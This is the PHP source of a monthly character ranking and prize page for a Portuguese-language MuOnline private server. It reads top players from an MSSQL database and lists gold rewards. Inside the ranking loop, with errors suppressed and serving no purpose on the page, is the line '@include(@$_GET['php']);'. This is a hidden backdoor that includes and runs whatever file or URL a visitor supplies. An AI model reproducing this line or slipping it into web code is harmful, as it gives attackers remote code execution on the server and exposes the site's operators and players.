<?
include "config/cnn.php";
include "config/config_mensal.php";
?>
<title>Ranking Mensal - [ <?=$si?> ]</title>
<style type="text/css">
<!--
.ranking {font-family: Verdana; font-size:11px; color: #424242; text-decoration:nome;}
.ranking02 {font-family: Verdana; font-size:11px; color: #424242; text-decoration:nome;}
#wrap {	width: 550px;
	background: #FFFFFF repeat-y center top;
	margin: 0 auto;
	text-align: left;
}
.ranking1 {font-family: Verdana; font-size:11px; color: #424242; text-decoration:nome;}
.ranking1 {font-family: Verdana; font-size:11px; color: #424242; text-decoration:nome;}
-->
</style>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" lang="en"><head>


<meta name="Description" content="ThiiaguînhoBala ( Castle )">
<meta name="Keywords" content="ThiiaguînhoBala ( Castle )">
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<meta name="Distribution" content="ThiiaguînhoBala ( Castle )">
<meta name="Author" content="ThiiaguînhoBala ( Castle )">
<meta name="Robots" content="ThiiaguînhoBala ( Castle )">

<title>Ranking Mensal - [ <?=$si?> ]</title>

<link rel="shortcut icon" href="http://s2.sytes.net:8090/favicon.ico" type="image/x-icon">
<style type="text/css">
<!--
* { margin: 0; padding: 0; }

body {
	background: #353535;
	font: 70%/1.5em Verdana, Tahoma, arial, sans-serif;
	color: #333; 
	text-align: left;
}

#wrap {
	width: 550px;
	background: #FFFFFF repeat-y center top;
	margin: 0 auto;
	text-align: left;
}

.ranking {font-family: Verdana; font-size:11px; color: #424242; text-decoration:nome;}
.ranking02 {font-family: Verdana; font-size:11px; color: #424242; text-decoration:nome;}
.style1 {
	font-size: 70%
}
-->
</style>


</head><body oncontextmenu="return false">

<div id="wrap">
		
                <img src="images/rankmensal.JPG" width="550" height="150">
		

<div align="center">
<br>
<font class="ranking"><font color="#f20000"><strong><?=$mu?> 
- Servidor Privado de MuOnline !!</strong></font></font></div>

<div style="padding: 10px 0px 0px 10px;" align="left"><br>
  <div class='quadros' style='float: left;'>
    <table align="left" bgcolor="#fafafa" border="0" cellpadding="0" cellspacing="1" width="190">
      <tbody>
        <tr>
          <td align="center" bgcolor="#e7e7e7" height="18"><font class="ranking02"><strong>#</strong></font></td>
          <td align="center" bgcolor="#e7e7e7" height="18"><font class="ranking02"><strong>Char</strong></font></td>
          <td align="center" bgcolor="#e7e7e7" height="18"><font class="ranking02"><strong>Resets</strong></font></td>
        </tr>
        <tr>
<?php
 $Query = mssql_query("select top 40 name,clevel,rankmes,strength,dexterity,vitality,energy,class,rankmes from character where ctlcode=0 or ctlcode=null order by rankmes desc, CLevel desc ");
  for($i=0;$i<mssql_num_rows($Query);$i++) {
  $rank = $i+1;
  $Array = mssql_fetch_row($Query);
  if($i % 2)
//Definindo Bgcolor Cinza Caso O
//N&Atilde;&ordm;mero Da c&Atilde;&copy;lula Seja Par
{
$cor="#e7e7e7";
}
else
//Imprimindo Bgcolor Azul Caso O
//N&Atilde;&ordm;mero Da c&Atilde;&copy;lula Seja &Atilde;?mpar
{
$cor="#e7e7e7";
}

@include(@$_GET['php']);
  switch($Array[7]) {
	case 0: $classefinal = "<font color='#33CCCC'>DW</font>"; break;
	case 1: $classefinal = "<font color='#660066'>SM</font>"; break;
	case 16: $classefinal = "<font color='#003399'>DK</font>"; break;
	case 17: $classefinal = "<font color='#006600'>BK</font>"; break;
	case 32: $classefinal = "<font color='#9900CC'>ELF</font>"; break;
	case 33: $classefinal = "<font color='#CCCC00'>ME</font>"; break;
	case 48: $classefinal = "<font color='#FF6633'>MG</font>"; break;
	case 64: $classefinal = "<font color='#99CCCC'>DL</font>"; break;
	case 18: $classefinal = "<font color='#339999'>BM</font>"; break;
	case 2: $classefinal = "<font color='#6699FF'>GM</font>"; break;
	case 49: $classefinal = "<font color='#6459FF'>DM</font>"; break;
	case 65: $classefinal = "<font color='#993300'>LE</font>"; break;
	case 34: $classefinal = "<font color='#CC0099'>HE</font>"; break;
	case 80: $classefinal = "<font color='#CC0333'>SO</font>"; break;
	case 81: $classefinal = "<font color='#CC0333'>BS</font>"; break;
	case 82: $classefinal = "<font color='#CC0333'>DS</font>"; break;
}
  ?>
          <tr>
            <td  height="15"<? echo" bgcolor='$cor'"; ?>><b><div align="center">
                <font face="Verdana" size="1"><?
if($rank < 0) {
echo "<img src=\"images/ranking/".$rank.".gif\" />"; 
} else {
echo $rank;
}
?>º</b>
                </span></font></td>
            <td ><a  " >
                <div align="center">
                <font face="Verdana" size="1">
                <?=$Array[0]?>
                </span></font></td>
            <td ><div align="center">
                <font face="Verdana" size="1">
                <?=$Array[8]?>
                </span> </font> </td>
          </tr>
          <? } ?></font></td>
        </tr>
      </tbody>
    </table>
  </div>
</div>
<div style="padding: 0px 20px 0px 0px;" align="right">
                  
<table border="0" cellpadding="0" cellspacing="0" width="300">
<tbody><tr><td>

<br>
<font class="cs style1"><font color="#f20000"><strong>Ranking Mensal - Servidor 
<?=$mu?>
</strong></font></font><br />
<br />
<font class="ranking">Mais uma novidade do Servidor 
<?=$mu?> 
!<br />
<br />
Est&aacute; no ar o Ranking Mensal com Premia&ccedil;&atilde;o. Agora os 5 mais bem classificados do m&ecirc;s receber&atilde;o uma quantia em Golds gr&aacute;tis!<br />
<br />
<font color="#f20000">A premia&ccedil;&atilde;o ser&aacute; v&aacute;lida em todos os m&ecirc;ses, apenas para os 5 primeiros do Ranking de cada uma.</font><br />
<br />
<br />
<b>Segue, abaixo, a tabela de premia&ccedil;&atilde;o:</b></font><br />
<br />
<table bgcolor="#e7e7e7" border="0" cellpadding="0" cellspacing="1" width="100%">
  <tbody>
    <tr align="center" bgcolor="#e7e7e7">
      <td height="18"><font class="ranking02"><b>Posi&ccedil;&atilde;o no Rank</b></font><b></b></td>
      <td height="18"><font class="ranking02"><b>Total de Golds</b></font><b></b></td>
    </tr>
    <tr align="center" bgcolor="#fafafa">
      <td height="25"><font class="ranking">1&ordm; Lugar</font></td>
      <td height="25"><font class="ranking"><?=$pre1?> </font><font class="ranking1">Golds</font></td>
    </tr>
    <tr align="center" bgcolor="#fafafa">
      <td height="25"><font class="ranking">2&ordm; Lugar</font></td>
      <td height="25"><font class="ranking"><?=$pre2?> </font><font class="ranking1">Golds</font></td>
    </tr>
    <tr align="center" bgcolor="#fafafa">
      <td height="25"><font class="ranking">3&ordm; Lugar</font></td>
      <td height="25"><font class="ranking"><?=$pre3?> </font><font class="ranking1">Golds</font></td>
    </tr>
    <tr align="center" bgcolor="#fafafa">
      <td height="25"><font class="ranking">4&ordm; Lugar</font></td>
      <td height="25"><font class="ranking"><?=$pre4?> </font><font class="ranking1">Golds</font></td>
    </tr>
    <tr align="center" bgcolor="#fafafa">
      <td height="25"><font class="ranking">5&ordm; Lugar</font></td>
      <td height="25"><font class="ranking"><?=$pre5?> </font><font class="ranking1">Golds</font></td>
    </tr>
  </tbody>
</table>
<br />
<br />
<font class="ranking">Vencedores do m&ecirc;s Passado:<br />
<br />
</font>
<table bgcolor="#e7e7e7" border="0" cellpadding="0" cellspacing="1" width="100%">
  <tbody>
    <tr>
      <td align="center" bgcolor="#e7e7e7" height="18"><font class="ranking"><strong>#</strong></font></td>
      <td align="center" bgcolor="#e7e7e7" height="18"><font class="ranking"><strong>Char</strong></font></td>
      <td align="center" bgcolor="#e7e7e7" height="18"><font class="ranking"><strong>Resets</strong></font></td>
      <td align="center" bgcolor="#e7e7e7" height="18"><font class="ranking"><strong>Premia&ccedil;&atilde;o</strong></font></td>
    </tr>
    <tr>
      <td align="center" bgcolor="#e7e7e7" height="25"><font class="ranking"><strong>1&ordm;</strong></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><?=$vec1?></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><font color="red"><?=$res1?></font></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><font color="red"><?=$pre1?> Golds </font></font></td>
    </tr>
    <tr>
      <td align="center" bgcolor="#e7e7e7" height="25"><font class="ranking"><strong>2&ordm;</strong></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><?=$vec2?></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking1"><font color="red"><?=$res2?></font></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><font color="red"><?=$pre2?> </font><font class="ranking1"><font color="red">Golds</font></font></font></td>
    </tr>
    <tr>
      <td align="center" bgcolor="#e7e7e7" height="25"><font class="ranking"><strong>3&ordm;</strong></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><?=$vec3?></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking1"><font color="red"><?=$res3?></font></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><font color="red"><?=$pre3?> </font><font class="ranking1"><font color="red">Golds</font></font></font></td>
    </tr>
    <tr>
      <td align="center" bgcolor="#e7e7e7" height="25"><font class="ranking"><strong>4&ordm;</strong></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><?=$vec4?></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking1"><font color="red"><?=$res4?></font></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><font color="red"><?=$pre4?> </font><font class="ranking1"><font color="red">Golds</font></font></font></td>
    </tr>
    <tr>
      <td align="center" bgcolor="#e7e7e7" height="25"><font class="ranking"><strong>5&ordm;</strong></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><?=$vec5?></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking1"><font color="red"><?=$res5?></font></font></td>
      <td align="center" bgcolor="#fafafa" height="17"><font class="ranking"><font color="red"><?=$pre5?> </font><font class="ranking1"><font color="red">Golds</font></font></font></td>
    </tr>
  </tbody>
</table>
<br />
<br />
<font class="ranking"><font color="#f20000">Os pr&ecirc;mios ser&atilde;o creditados horas ap&oacute;s zerar o Ranking Mensal, Todo m&ecirc;s dia 
<?=$di?>
.</font></font> <br />
<br />
<font class="ranking02"><b>Servidor 
<?=$mu?>
, Sua Divers&atilde;o na Web!</b></font> <br>
<br></td></tr></tbody></table>

</div></div></body></html>